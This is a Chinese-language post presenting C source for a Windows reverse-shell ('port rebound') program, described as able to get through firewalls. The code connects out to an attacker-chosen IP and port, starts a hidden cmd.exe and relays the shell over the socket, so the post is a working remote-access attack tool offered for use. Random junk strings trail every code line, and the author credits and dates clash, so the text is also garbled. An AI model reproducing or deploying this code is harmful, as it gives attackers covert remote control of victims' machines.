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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 a[iuE`  
/I|.^ Id|  
/* ============================== s-]k7a 2V  
Rebound port in Windows NT _y{z%-  
By wind,2006/7 w[@>k@=  
===============================*/ hmJ{'D1"  
#include &U:bRzD  
#include :lQl;Q -e  
p$dVGvM(  
#pragma comment(lib,"wsock32.lib") T% J;~|  
k4iu`m@^H  
void OutputShell(); +u;f]p  
SOCKET sClient; CHp`4  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ZaQg SE>Y  
:X-Z|Pv8  
void main(int argc,char **argv) Fl\X&6k  
{ +grIw# j  
WSADATA stWsaData; FHWzwi*u}  
int nRet; T4n.C~  
SOCKADDR_IN stSaiClient,stSaiServer; *'=JT#  
a=bP   
if(argc != 3) ~`M>&E@Y_/  
{ \ } ,="  
printf("Useage:\n\rRebound DestIP DestPort\n"); WvVHSa4{  
return; .RocENO0  
} ')%Kv`hz  
%O-RhB4q  
WSAStartup(MAKEWORD(2,2),&stWsaData); "TB4w2?=  
BH _y0[y  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6B 4Sd  
^mr#t #[e  
stSaiClient.sin_family = AF_INET; yNVuSj  
stSaiClient.sin_port = htons(0); :|/bEP]p/  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Rh#0EbE2  
(CKx s I@  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7Yp;B:5@  
{ 't".~H_V  
printf("Bind Socket Failed!\n"); b6%T[B B  
return; sdP% Y<eAT  
} MkJ}dncg*  
/MHqt=jP6  
stSaiServer.sin_family = AF_INET; [v$_BS#u^3  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Am=D kkP%  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  hM   
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ZC+F*:$  
{ idiJ|2T"G  
printf("Connect Error!"); <1#v}epD#  
return; 1.WdxMpW9  
} c$aTl9e  
OutputShell(); z^=.05jB  
} %Hdg,NH  
Oq~>P!=   
void OutputShell() &Npv~Iy  
{ W70J2  
char szBuff[1024]; #q.Q tDz  
SECURITY_ATTRIBUTES stSecurityAttributes; lN94 b3_W  
OSVERSIONINFO stOsversionInfo; BEM_y:#  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; OMG.64DX .  
STARTUPINFO stStartupInfo; p-n_ ">7  
char *szShell; Pk444_"=  
PROCESS_INFORMATION stProcessInformation; D )z'FOaI  
unsigned long lBytesRead; Yjxa=CD  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); m[&]#K6  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); K%9PIqK?4  
stSecurityAttributes.lpSecurityDescriptor = 0; Ep-{Ew{T_=  
stSecurityAttributes.bInheritHandle = TRUE; v w$VR PW  
I,dH\]^h=  
@=ABO"CQ  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); o_   
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Rfh#JO@%[  
(pXZ$R:  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));  Isv@V.  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cQDn_Sjhi  
stStartupInfo.wShowWindow = SW_HIDE; rq'Cj<=Zj  
stStartupInfo.hStdInput = hReadPipe; fhqc[@Y[  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; V~ -<VM6  
hY=#_r8  
GetVersionEx(&stOsversionInfo); .lrI|BH?z  
W,Q"?(+]B  
switch(stOsversionInfo.dwPlatformId) T-|SBNFw;  
{ %0 (,f  
case 1: j~!0n[F  
szShell = "command.com"; w :2@@)pr  
break; Sd?:+\bS;  
default: \M^L'Mkj  
szShell = "cmd.exe"; {`fhcEC  
break; 1GB$;0 W),  
} sxM0c  
]F5?>du@~  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ##VS%&{  
+T:F :X`  
send(sClient,szMsg,77,0); +P,hT  
while(1) \IY)2C<e  
{ T'.U?G  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5sui*WH  
if(lBytesRead) 7m0sF<P{g  
{ YGrmco?G  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); + 5E6|  
send(sClient,szBuff,lBytesRead,0); P6w!r>?6N  
} wic"a Y<m  
else ]0P-?O:  
{ eaP,MkK&  
lBytesRead=recv(sClient,szBuff,1024,0); Bv,u kQ\CH  
if(lBytesRead<=0) break; }8cL+JJU  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); m@o/W  
} TNBFb_F  
} xvP<~N-  
yiyyw,iy  
return; [ 9)9>-  
}
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